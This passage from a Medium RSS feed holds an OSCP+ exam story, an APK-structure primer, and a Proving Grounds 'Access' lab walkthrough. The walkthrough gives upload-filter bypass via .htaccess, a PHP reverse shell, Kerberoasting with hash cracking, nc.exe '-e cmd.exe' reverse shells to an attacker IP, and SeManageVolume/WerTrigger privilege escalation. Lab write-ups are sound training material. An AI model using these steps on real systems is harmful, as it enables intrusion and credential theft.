lot of anxiety and fear. When I first saw the course modules, I felt a bit nervous. But soon, I started reading the PDF materials, watching the videos, and working on the exercises and challenges provided by Offensive Security to improve my skills.</p><p>Throughout October, I faced a major issue with the <strong>OffSec VPN</strong> due to my <strong>internet provider (Jio)</strong>. In India, Jio does not support OffSec’s VPN properly — it drops packets after 5 to 10 minutes after inspecting them. I communicated with OffSec support via email for approximately 10 days. Finally, we found that the problem was not on their side or mine, but with my <strong>ISP (Jio)</strong>.</p><p>To solve the issue, I switched to a <strong>local internet service provider</strong>. After setting up everything, the VPN worked fine and the packet drop issue was resolved. However, this troubleshooting took around <strong>5 to 7 days</strong>, so I couldn’t complete most of the lab exercises from OffSec. But since I had already practiced similar machines before, I was confident in my skills.</p><p>Still, I strongly suggest to all OSCP aspirants to go through the <strong>OffSec exercises</strong>, as they are important to understand the <strong>OffSec mindset</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*q__NQW-y1QGmiX8TTwaYwA.png" /></figure><p>I also made notes on important topics and commands. I learned about <strong>client-side attacks</strong>, <strong>cloud penetration testing basics</strong>, and more. OffSec also introduced changes to the course — <strong>OSCP is now OSCP+</strong>, where credentials are sometimes given for initial access, and the <strong>scoring system has been updated</strong>.</p><p>It was a <strong>completely new experience</strong> — exciting, but also a bit scary.</p><h4><strong>November and December:</strong></h4><p>From November to December,<strong> </strong>I focused on solving the <strong>Challenge Labs</strong> provided in the PEN-200 course. There are a total of <strong>eight Challenge Labs</strong>, including two that follow the <strong>new OSCP+ exam pattern</strong>.</p><p>Here’s a brief overview of my progress:</p><ol><li><strong>Medtech</strong> — Took me around 7 to 10 days to complete.</li><li><strong>Secura</strong> — Completed in 2 days.</li><li><strong>Relia</strong> — Took approximately 10 to 12 days.</li><li><strong>Skylark</strong> — I decided to skip this lab</li><li><strong>Zeus</strong> — Solved in 3 days.</li><li><strong>Poseidon</strong> — Also took 3 days to complete.</li><li><strong>OSCP-A, B, and C</strong> — I kept these three for simulating a <strong>real exam experience</strong>.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iSrhbS736zDXC-dSiek1gg.png" /></figure><p>Solving these labs was a valuable and enjoyable experience. I faced many challenges along the way, and whenever I got stuck, I received great support from the <strong>OffSec Discord community</strong>. During this time, I also connected with several helpful and inspiring individuals, including <a href="https://www.linkedin.com/in/aryan-jaiswal-57b42a218?utm_source=share&amp;utm_campaign=share_via&amp;utm_content=profile&amp;utm_medium=android_app"><strong>Aryan Jaiswal</strong></a><strong>, </strong><a href="https://www.linkedin.com/in/octodi?utm_source=share&amp;utm_campaign=share_via&amp;utm_content=profile&amp;utm_medium=android_app"><strong>Anish Kumar</strong></a><strong>, </strong><a href="https://www.linkedin.com/in/umesh-kumar8967?utm_source=share&amp;utm_campaign=share_via&amp;utm_content=profile&amp;utm_medium=android_app"><strong>Umesh Yadav</strong></a><strong>, </strong><a href="https://www.linkedin.com/in/deepanshu-l-5570a8134?utm_source=share&amp;utm_campaign=share_via&amp;utm_content=profile&amp;utm_medium=android_app"><strong>Deepanshu Lal</strong></a><strong>, </strong><a href="https://www.linkedin.com/in/dhrruvin?utm_source=share&amp;utm_campaign=share_via&amp;utm_content=profile&amp;utm_medium=android_app"><strong>Dhruvin Shah</strong></a><strong>, </strong><a href="https://www.linkedin.com/in/naren-kumar-36082015b?utm_source=share&amp;utm_campaign=share_via&amp;utm_content=profile&amp;utm_medium=android_app"><strong>Naren Kumar</strong></a><strong>, and </strong><a href="https://www.linkedin.com/in/sadiq-mohamed-3094b0123?utm_source=share&amp;utm_campaign=share_via&amp;utm_content=profile&amp;utm_medium=android_app"><strong>Sadiq Mohamed</strong></a>.</p><p>For the <strong><em>OSCP-A, B, and C</em> </strong>challenge labs, I treated them as a <strong>mock exam</strong>. I dedicated <strong>24 hours for the exam</strong> itself and an <strong>additional 24 hours for the report writing</strong>. To prepare my report, I followed <strong>The Cyber Expert’s Hindi video</strong>, which explained the reporting process step-by-step in a clear and simple manner.</p><p>In total, it took me around <strong>6 days to complete OSCP-A, B, and C along with the report writing</strong>. After finishing all the Challenge Labs, I felt confident and ready for the real exam.</p><p>I scheduled my official <strong>OSCP+ exam on 10th December</strong>. Once the exam slot is booked, there is no going back, as OffSec provides <strong>only three opportunities to schedule the exam</strong>.</p><h4><strong>Exam Day:</strong></h4><p>On the day of the exam, I must mention that I am not permitted to share specific details about the exam content, as it would violate OffSec’s policies.</p><p>I received my exam credentials via email and logged into the <strong>OffSec Exam Portal</strong>. Shortly after, a <strong>proctor joined the session</strong>. Following OffSec’s guidelines, I was asked to provide a <strong>room tour</strong> and show my <strong>valid ID</strong> for verification. The proctor then performed a few basic checks to ensure that no unauthorized activity or cheating was taking place.</p><p>I can share that I completed the exam in approximately <strong>20 hours</strong>. The <strong>Active Directory portion</strong> of the exam took me <strong>over 15 hours</strong>, as it was quite challenging. In contrast, I was able to solve the <strong>standalone machine</strong> in around <strong>5 hours</strong>. I ensured to capture all the required <strong>screenshots</strong> and maintain detailed <strong>notes</strong> throughout the process to make the <strong>report writing</strong> smoother.</p><p>Overall, the experience was truly <strong>rewarding and fulfilling</strong>. After visualizing and preparing for the OSCP exam for so long, finally sitting for it felt both <strong>exciting and surreal</strong>.</p><h4><strong>Report Writiting :</strong></h4><p>During the <strong>report writing process</strong>, I carefully followed all the guidelines provided by OffSec. I included all the <strong>necessary screenshots</strong>, documented every command I used, and recorded the results of my <strong>Nmap scans</strong>. Additionally, I noted the <strong>source of each exploit</strong>, any <strong>modifications</strong> I made, and included <strong>relevant links</strong> for reference.</p><p>My goal was to deliver a <strong>well-structured and complete report</strong> that met OffSec’s standards. After submission, I remained hopeful and eagerly awaited the result — checking my email <strong>20 to 30 times a day</strong> in anticipation.</p><p>Finally, on <strong>15th December</strong>, I received the result. Seeing the line <em>“We are happy to inform you that you have successfully passed the exam”</em> brought me immense joy. It was a deeply satisfying moment, and I felt genuinely proud. All the <strong>hard work, late nights, and sacrifices</strong> had truly paid off.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JME9-CfeH2FBiTRn3ZIowQ.png" /><figcaption>OSCP-Exam-Result</figcaption></figure><p>Achieving the <strong>OSCP certification at the age of 20</strong> has given a significant boost to my career and confidence. I am sincerely <strong>gratefulto my Parents and to everyone who supported me through the ups and downs</strong> of this journey. Your encouragement and belief in me meant a lot, and I thank you all from the bottom of my heart.</p><h3>What’s next?</h3><p>My current plan is taking the knowledge in Web-App Pentesting as well as API Pentesting and Mobile-app Pentesting ,I’ll be working on that for now.</p><p><em>I have started </em><strong><em>offering training for the OSCP+ certification</em></strong><em>. If you are interested, feel free to connect with me on Discord or LinkedIn for further details.</em></p><h4><strong>You can reach me out from :</strong></h4><p>LinkedIN — <a href="https://www.linkedin.com/in/abhay-pandit-41aa69238/"><strong>https://www.linkedin.com/in/abhay-pandit-41aa69238/</strong></a></p><p>Discord —<strong> @Abhayyt07</strong></p><p>E-Mail — <strong>abhaypandit7278@gmail.com</strong></p><p><strong>Thank you very much for your time ,hope I could help :)</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=26fe2f2c7fe9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Anatomy of APK Files: A Guide to Android Penetration Testing]]></title>
            <link>https://medium.com/@abhaypandit7278/the-anatomy-of-apk-files-a-guide-to-android-penetration-testing-be9dce30a3a8?source=rss-1c791b98113e------2</link>
            <guid isPermaLink="false">https://medium.com/p/be9dce30a3a8</guid>
            <category><![CDATA[apk]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[android-pentesting]]></category>
            <category><![CDATA[android]]></category>
            <category><![CDATA[pentesting]]></category>
            <dc:creator><![CDATA[Abhay pandit]]></dc:creator>
            <pubDate>Tue, 04 Mar 2025 15:06:15 GMT</pubDate>
            <atom:updated>2025-03-04T15:07:28.687Z</atom:updated>
            <content:encoded><![CDATA[<p>Before we begin, lets understand what is andriod Pentesting and why it is necessary :)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*c4ADjITuktmwZaDOWWKuRQ.jpeg" /></figure><p><strong>Android Pentesting: Android Penetration Testing</strong> (or <strong>Android Pentesting</strong>) is the process of testing Android apps, devices, and systems for security vulnerabilities. It involves simulating real-world attacks to identify weaknesses that hackers could exploit. The goal is to find and fix these issues before malicious actors can take advantage of them.</p><h3>Why is Android Pentesting Necessary Nowadays?</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hvXU_SYCuFRenepDpUrlUg.jpeg" /></figure><p><strong>1. Rise in Mobile Usage:</strong></p><p>Almost everyone uses smartphones, and Android is the most popular operating system globally. With billions of users, Android apps are a prime target for hackers.</p><p><strong>2. Sensitive Data on Mobile Devices:</strong></p><p>Mobile apps often handle sensitive information like bank details, passwords, personal messages, and location data. If an app is insecure, this data can be stolen.</p><p><strong>3. Increase in Cyberattacks:</strong></p><p>Hackers are constantly developing new ways to exploit vulnerabilities in Android apps. Pentesting helps stay one step ahead by identifying and fixing these issues.</p><p><strong>4.Regulatory Compliance:</strong></p><p>Many industries (like finance, healthcare, and e-commerce) have strict security regulations. Pentesting ensures apps comply with standards like GDPR, HIPAA, or PCI-DSS.</p><p><strong>5. Protecting User Trust:</strong></p><p>If an app is hacked, users lose trust in the developer or company. Pentesting helps maintain a good reputation by ensuring apps are secure.</p><p><strong>6. Complexity of Android Ecosystem:</strong></p><p>Android is open-source, which means it’s highly customizable but also more vulnerable to fragmentation and security risks. Pentesting helps address these unique challenges</p><h3><strong>The structure of an Android APK</strong> :</h3><p>in a simple way, especially for Android pentesting. Think of an APK as a <strong>zipped folder</strong> containing everything an app needs to run. Here’s what’s inside:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/725/1*Qjtt7_8SXgfuT3YobEHjIQ.png" /></figure><p><strong>1. AndroidManifest.xml</strong><br>What it is: The <strong>“blueprint”</strong> of the app.</p><p>What it contains : Permissions the app needs (e.g., access to camera, contacts).</p><p>List of activities, services, and components (e.g., the main screen of the app).</p><p><em>Example : </em>If an app asks for permission to access your camera, it’s listed here.</p><p><strong>Pentesters check this file to see if the app is asking for unnecessary permissions.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zhqR1p9le0jwnx3cMNMbIw.jpeg" /></figure><p><strong>2. classes.dex</strong><br>What it is: The compiled code of the app (written in Java/Kotlin).</p><p>What it contains: All the logic and functionality of the app.</p><p><em>Example:</em> If the app has a login feature, the code for checking the username and password is here.</p><p>Pentesters decompile this file to analyze the app’s logic and find vulnerabilities.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zQsyAKnBs2C9oKQK5Y6Lyw.jpeg" /></figure><p><strong>3. resources.arsc</strong><br>What it is: a file containing all the app’s resources (like text, images, and layouts).</p><p>What it contains : strings, colors, styles, and other UI elements.</p><p><em>Example: </em>If the app displays “Welcome, User!” on the screen, the text is stored here.</p><p>Pentesters look here for hardcoded sensitive data (like API keys or passwords).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*L8O1LETpCQr8YhG53Roujg.jpeg" /></figure><p><strong>4. res/</strong><br>What it is: a folder containing raw resources like images, layouts, and XML files.</p><p>What it contains: icons, buttons, and other visual elements.</p><p><em>Example: </em>The app’s logo or background image is stored here.</p><p>Pentesters Check this folder for hidden files or sensitive data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uzIW2zYGrGgGj6RfiOwQ2w.jpeg" /></figure><p><strong>5. assets/</strong><br>What it is: A folder for additional files the app needs (e.g., fonts, videos, or config files).</p><p>What it contains: Files that aren’t compiled into the app but are used at runtime.</p><p><em>Example: </em>A game app might store level maps or sound effects here.</p><p>Pentesters look here for sensitive files or configuration data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*J_QcoUsvzSgOetkp2IUL7A.jpeg" /></figure><p><strong>6. META-INF/</strong><br>What it is: A folder containing metadata about the APK.</p><p>What it contains : MANIFEST.MF: A list of files and their hashes (to verify integrity).</p><p>CERT.SF: A signed version of the manifest.</p><p>CERT.RSA: The developer’s certificate (used to sign the APK).</p><p><em>Example</em>: If someone tries to modify the APK, the hashes in MANIFEST.MF won’t match, and the app won’t install.</p><p>Pentesters check this folder to verify the app’s authenticity or to repackage the APK.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xHLv72-fP9GMllbrA7IsbA.jpeg" /></figure><p><strong>7. lib/<br></strong>What it is: a folder containing native libraries (code written in C/C++).</p><p>What it contains: Compiled code for specific device architectures (e.g., ARM, x86).</p><p><em>Example:</em> A game might use native libraries for better performance.</p><p>Pentesters analyze these libraries for vulnerabilities like buffer overflows.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rRuyz2LIArtjCCRRt2PhkA.jpeg" /></figure><p><strong>8. kotlin/ or java/</strong><br>What it is: Folders containing Kotlin or Java code (if the app uses these languages).</p><p>What it contains : Additional code files for the app.</p><p><em>Example : </em>If the app uses Kotlin, some of its logic might be stored here.</p><p>Pentesters check these folders for insecure code practices.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*b3IDUnTtC3WCblX4gXhzLQ.jpeg" /></figure><h3>Simple Analogy:<br>Think of an APK like a house:</h3><p><strong>AndroidManifest.xml </strong>= The blueprint of the house (doors, windows, rooms).</p><p><strong>classes.dex </strong>= The brain of the house (controls everything).</p><p><strong>resources.arsc </strong>= The furniture and decorations.</p><p><strong>res/ </strong>= The raw materials (wood, bricks, paint).</p><p><strong>assets/ </strong>= Extra items in the house (books, tools, toys).</p><p><strong>META-INF/</strong> = The locks and keys (security features).</p><p><strong>lib/</strong> = The foundation and structure (strong, hidden parts).</p><p>You can unzip the APK and explore these files to:</p><p>Find sensitive data (like hardcoded passwords).</p><p>Check for insecure permissions.</p><p>Reverse-engineer the app to understand its logic.</p><p>Look for vulnerabilities (e.g., insecure storage, weak encryption).</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=be9dce30a3a8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Proving  Ground — Access Walkthrough]]></title>
            <link>https://medium.com/@abhaypandit7278/proving-ground-access-walkthrough-045b776a9618?source=rss-1c791b98113e------2</link>
            <guid isPermaLink="false">https://medium.com/p/045b776a9618</guid>
            <category><![CDATA[provinggrounds]]></category>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[walkthrough]]></category>
            <category><![CDATA[oscp-preparation]]></category>
            <category><![CDATA[offsec]]></category>
            <dc:creator><![CDATA[Abhay pandit]]></dc:creator>
            <pubDate>Mon, 14 Oct 2024 05:11:16 GMT</pubDate>
            <atom:updated>2024-10-14T05:11:16.922Z</atom:updated>
            <content:encoded><![CDATA[<h3>Proving Ground — Access Walkthrough</h3><p>This Box is a Part of TJ_NULL List of OSCP Preaperation ,So Lets Dive into the Box</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1014/1*eFEZYuOed49BOW5V5CJKMQ.png" /></figure><h3>Start With Namp Scan Results :</h3><h4>Nmap Scan Results:</h4><pre>┌──(root㉿kali)-[/home/kali/Practice_AD/Access]<br>└─# nmap 192.168.126.187 -p-  -sCV --min-rate 5000<br><br>Starting Nmap 7.94SVN ( [https://nmap.org](https://nmap.org/) ) at 2024-10-07 12:43 IST<br>Nmap scan report for 192.168.126.187<br>Host is up (0.061s latency).<br>Not shown: 65516 filtered tcp ports (no-response)<br>PORT      STATE SERVICE       VERSION<br>53/tcp    open  domain        Simple DNS Plus<br>80/tcp    open  http          Apache httpd 2.4.48 ((Win64) OpenSSL/1.1.1k PHP/8.0.7)<br>|*http-server-header: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/8.0.7<br>| http-methods:<br>|*  Potentially risky methods: TRACE<br>|_http-title: Access The Event<br>88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-10-07 07:13:53Z)<br>135/tcp   open  msrpc         Microsoft Windows RPC<br>139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn<br>389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: access.offsec0., Site: Default-First-Site-Name)<br>445/tcp   open  microsoft-ds?<br>464/tcp   open  kpasswd5?<br>593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0<br>636/tcp   open  tcpwrapped<br>3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: access.offsec0., Site: Default-First-Site-Name)<br>3269/tcp  open  tcpwrapped<br>5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)<br>|_http-server-header: Microsoft-HTTPAPI/2.0<br>|_http-title: Not Found<br>9389/tcp  open  mc-nmf        .NET Message Framing<br>49666/tcp open  msrpc         Microsoft Windows RPC<br>49668/tcp open  msrpc         Microsoft Windows RPC<br>49674/tcp open  msrpc         Microsoft Windows RPC<br>49677/tcp open  msrpc         Microsoft Windows RPC<br>49704/tcp open  msrpc         Microsoft Windows RPC<br>Service Info: Host: SERVER; OS: Windows; CPE: cpe:/o:microsoft:windows<br><br>Host script results:<br>| smb2-time:<br>|   date: 2024-10-07T07:14:50<br>|_  start_date: N/A<br>| smb2-security-mode:<br>|   3:1:1:<br>|_    Message signing enabled and required<br><br>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 129.44 seconds</pre><p>Here is scan as we can see that smb ,winrm ,DNS and rpcclient are Open here so lets start with smb first:</p><h3>SMB TCP/445 :</h3><pre>smbmap -H 192.168.126.187</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1xVht8uY4Tj4vl53cHOAGw.png" /></figure><p>smbmap showing that there is no list of shares</p><pre>smbclient -L  192.168.126.187</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/543/1*TYb5-URPOQ79ycG4PFZ-tQ.jpeg" /></figure><p>Required a username and passwords for authentication</p><pre>nxc smb 192.168.126.187 -u &#39;&#39; -p &#39;&#39; --shares;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fPlSSyq9ylIn0rBq5GMVWw.png" /></figure><p>this tool is also not showing anything</p><h3>RPCCLIENT TCP/445</h3><p>I am trying with a null session</p><pre>rpcclient -U &#39;&#39; -N  192.168.126.187</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/666/1*xA1fDvyrlF6ylWWy4icP6w.png" /></figure><p>We didn’t get any results. Since we know this machine has a webpage on port 80, let’s explore that next.</p><h3>HTTP TCP/80</h3><p>I will run gobuster with the following command:</p><pre>gobuster dir -u http://192.168.126.187/  -w  /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt    -b  404,403,500  -x  php,html,txt </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I6-VL5locPHc-KEBuqpvYw.png" /></figure><p>We’ve found something suspicious, which could be our initial attack vector.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/727/1*XjB0whbpYLo1kTdKAcBdVQ.png" /></figure><p>We can upload a PHP reverse shell script and execute it from there. After exploring the website for file upload opportunities, I discovered that in the <strong>“BUY TICKETS”</strong>section, we can upload our scripts.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0WKp-If3j1tkVXOqKoYGaQ.png" /></figure><p>As we know, this website is running on PHP 8.0.8, and this is an Active Directory machine running on Windows. Therefore, I’m using the PHP Ivan shell, which is one of the more stable shells.</p><p>I’ll assign an IP address and port number to it.</p><blockquote><em>Tip: Always use open ports for reverse connections, as firewalls are less likely to detect them.</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lzmtKfwh50Cc0bQSze9Ygw.png" /></figure><p>Copy and paste the entire program into your folder. I named my shell ‘ticket.php.’ You can ignore the other files shown in my screenshot</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/847/1*n_Fw8p8RvY2VgoEIpKh-Ww.png" /></figure><p>After uploading the file it’s showing error that “File type extension is not allowed”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/534/1*xDUQRiCS8EDaK59plYDU1Q.jpeg" /></figure><p>There is beautiful explanation given by <a href="http://John HammondHow To Bypass Website File Upload Restrictions">John Hammed</a></p><p>However, the server appears to block any file with a ‘.php’ extension, suggesting that ‘.php’ may be on the server’s blocklist.</p><p>Interestingly, aside from common script extensions like ‘.php’ and ‘.php4’, I was able to upload files with a custom extension, such as ‘.dork</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/520/1*3LypziRSoGxQLiYmwKH93g.png" /></figure><p>I uploaded the PHP shell as ‘ticket.dork’ to the server, and it worked — the server accepted it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/713/1*FkMjh4XjN6f7EEkE5NWwSw.png" /></figure><p>It turned out the server didn’t render the shell at all due to the unknown extension, it printed out the source code.</p><p>We can see that the server running on the machine is Apache. This presents an opportunity to upload a “.htaccess” file to the directory, which could instruct the server to interpret our “.dork” extension as a PHP script.</p><p>I created a “.htaccess” file and uploaded it to the server.</p><pre>echo &quot;AddType application/x-httpd-php .dork&quot; &gt; .htaccess   ​</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/704/1*RPDy0-B9LoA5gZJxnYh-0A.png" /></figure><p>lets go on website and upload .htaccess file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/475/1*fqyYBEnYWX_yr-N21l-x7w.png" /></figure><p>tick the <strong>“Show hidden Files ”</strong> ,because <strong>.htaccess</strong> is a Hidden File</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/530/1*Mh1dfOVpiRGslTvlN3EEHg.png" /></figure><p>The “.htaccess” file wasn’t shown in the “/uploads” directory because it is a hidden file. But after uploading it, I could see the web shell we uploaded just now had been rendered. The server now renders the “.dork” extension as PHP. And it allowed me to perform command execution.</p><p>Click on <strong>“ticket.dork”</strong> to execute the reverse shell. Before doing so, set up a listener using rlwrap for an enhanced and more stable connection:</p><pre>rlwrap nc -lvnp 445</pre><p>Using<strong> rlwrap </strong>enhances the reverse shell interaction by providing line editing capabilities and command history, resulting in a more user-friendly and stable experience.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*Y8Z_gTbmbwWUSGFvaQlUlw.png" /><figcaption>it’s a service account</figcaption></figure><p>For further enumeration, we’ll switch to PowerShell</p><pre>powershell -ep bypass</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/699/1*aHwkat17DGHWx_HtqJDAWg.png" /></figure><p>We will download the PowerView.ps1 module from <a href="https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerView/powerview.ps1">GitHub</a> and transfer to the target machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bm4Il12iea0Q-Dorm2JeaA.png" /></figure><p>Host on HTTP.server</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/901/1*MYoSvFJhuXhT1FokO0SXzA.png" /></figure><pre>iwr -uri http://192.168.45.222/powerview.ps1 -Outfile powerview.ps1</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GCYxuhs12FWwd81vYnhJZA.png" /></figure><p>let’s utilize this scripts</p><pre>Import-Module .\powerview.ps1</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/909/1*SrbTNPeqgXMey9-qayeNNw.png" /><figcaption>SPN = svc_mssql</figcaption></figure><p>Since we’ve identified that the svc_mssql account is associated with an SPN (Service Principal Name), we can proceed with a Kerberoasting attack.</p><p>We’ll use Rubeus to request a TGS (Ticket Granting Service) ticket for the svc_mssql account, then crack the resulting hash using tools like Hashcat or John the Ripper.</p><p>You can download the Rubeus executable from</p><p><a href="https://github.com/r3motecontrol/Ghostpack-CompiledBinaries">GitHub repository</a>. Follow the steps outlined to perform TGS extraction for the service account on the target machine.”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ksFtLabuk8BIviJ9SrUJ-A.png" /></figure><pre> ./Rubeus.exe kerberoast /nowrap</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Hm9wXPNp_v4tYXjTFhV5jg.png" /></figure><p>There are two ways to cracking the hash :</p><h4>1. John-The-Ripper</h4><p>copy the hash and paste into a file and type the following command</p><pre> john svc_mssql_hash.txt </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1006/1*2TUq9pe45aVE_fpIK5VxHQ.png" /></figure><h4>2. Hashcat</h4><p>first we need to identify the hash type to crack the hash ,let’s do this the Following command:</p><pre> hashcat --identify svc_mssql_hash.txt </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WnkU0mV98yT-7pFykFrKjQ.png" /></figure><p>it’s a 13100 (kerberos 5) hash</p><p>let’s crack it</p><pre>hashcat -m 13100 -a 0  svc_mssql_hash.txt  /usr/share/wordlists/rockyou.txt </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RmqGFSgA3rdGj9uEtdJsPw.png" /></figure><h4>password : trustno1</h4><p>Next, we will use RunAsCs to get a shell as the user svc_mssql on the target machine. First, download <a href="https://github.com/antonioCoco/RunasCs/blob/master/Invoke-RunasCs.ps1">Invoke-RunasCs.ps1</a> from the repository and upload it to the target using the webshell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fvKrOaEiZGhMZwiNzjnSNQ.png" /></figure><pre>Import-Module .\Invoke-RunasCs.ps1</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/610/1*n6pGSnp0PJNXxHv1o2P4eg.png" /></figure><pre>Invoke-RunasCs -Username svc_mssql -Password trustno1 -Command &quot;whoami /priv&quot; </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZmD5Ff184NCCDchNl3kOew.png" /></figure><p>Let’s get a reverse shell with the help of <strong>nc.exe</strong>. Transfer <strong>nc.exe</strong> to the target machine</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/887/1*5uQYhEZcbQI5LmTD-hh0vA.png" /></figure><pre>Invoke-RunasCs -Username svc_mssql -Password trustno1 -Command &quot;c:/xampp/htdocs/uploads/nc.exe 192.168.45.222 135 -e cmd.exe&quot;</pre><p>Before executing this command open Your reverse connection</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZGGTzwSgmWld9ZfimOiHew.png" /></figure><p>And Boom we got our Shell</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/742/1*mqNimivTA8nSCKWuFeEWsg.png" /></figure><p>By utilizing the SeManageVolumePrivilege, we can escalate our privileges</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/748/1*kyrHnvIDh2FgjScz-6HPfw.png" /></figure><p>Search on Google</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gP8_cnnySeHQGaO5OZ1RBg.png" /></figure><p>I Found a Super intresting <a href="https://medium.com/@raphaeltzy13/exploiting-semanagevolumeprivilege-with-dll-hijacking-windows-privilege-escalation-1a4f28372d37">Article</a> for SeManageVolumePrivilge</p><p>Download the <a href="https://github.com/CsEnox/SeManageVolumeExploit/releases">SemanageVolumePrivilge.exe</a> ,transfer into target Machine</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aEoGDYvTLrKenEDD4NUs3Q.png" /></figure><p>Run SeManageVolumeExploit.exe so we can enable to write in C: Directory</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/491/1*yT3h0tIsv2R6txcC2NnuUQ.png" /></figure><p>Let’s Check that we can write ion Windows Directory or not ?</p><pre>C:\xampp\htdocs\uploads&gt;icacls C:/Windows<br>C:/Windows NT SERVICE\TrustedInstaller:(F)<br>           NT SERVICE\TrustedInstaller:(CI)(IO)(F)<br>           NT AUTHORITY\SYSTEM:(M)<br>           NT AUTHORITY\SYSTEM:(OI)(CI)(IO)(F)<br>           BUILTIN\Users:(M)<br>           BUILTIN\Users:(OI)(CI)(IO)(F)</pre><p>We are Using <a href="https://github.com/sailay1996/WerTrigger">WerTrigger Exploit</a> to acquire a SYSTEM shell.</p><p>To set it up we need to:</p><p>Copy <strong>phoneinfo.dll</strong> to<strong> *C:\Windows\System32*</strong></p><p>Place <strong>Report.wer </strong>file and <strong>WerTrigger.exe</strong> in a same directory.</p><p>Run <strong>WerTrigger.exe</strong>.</p><pre>C:\xampp\htdocs\uploads\enox&gt;dir<br>dir<br> Volume in drive C has no label.<br> Volume Serial Number is CCC2-BF17<br><br> Directory of C:\xampp\htdocs\uploads\enox<br><br>10/10/2021  07:25 PM    &lt;DIR&gt;          .<br>10/10/2021  07:25 PM    &lt;DIR&gt;          ..<br>10/10/2021  07:23 PM             9,252 Report.wer<br>10/10/2021  07:23 PM            15,360 WerTrigger.exe<br>               2 File(s)         24,612 bytes<br>               2 Dir(s)  50,123,882,496 bytes free<br><br>C:\xampp\htdocs\uploads\enox&gt;WerTrigger.exe<br>WerTrigger.exe</pre><p>Now for Taking reverse Shell we Will Use nc.exe</p><pre>c:/xampp/htdocs/uploads/nc.exe 192.168.118.23 4444 -e cmd.exe</pre><p><strong><em>Note :</em></strong> WerTrigger.exe will not produce any output and will just wait for you to type the instructions you want to perform.</p><pre>┌──(kali㉿kali)-[~]<br>└─$ nc -lvnp 4444<br>listening on [any] 4444 ...<br>connect to [192.168.118.23] from (UNKNOWN) [192.168.120.107] 49998<br>Microsoft Windows [Version 10.0.17763.2746]<br>(c) 2018 Microsoft Corporation. All rights 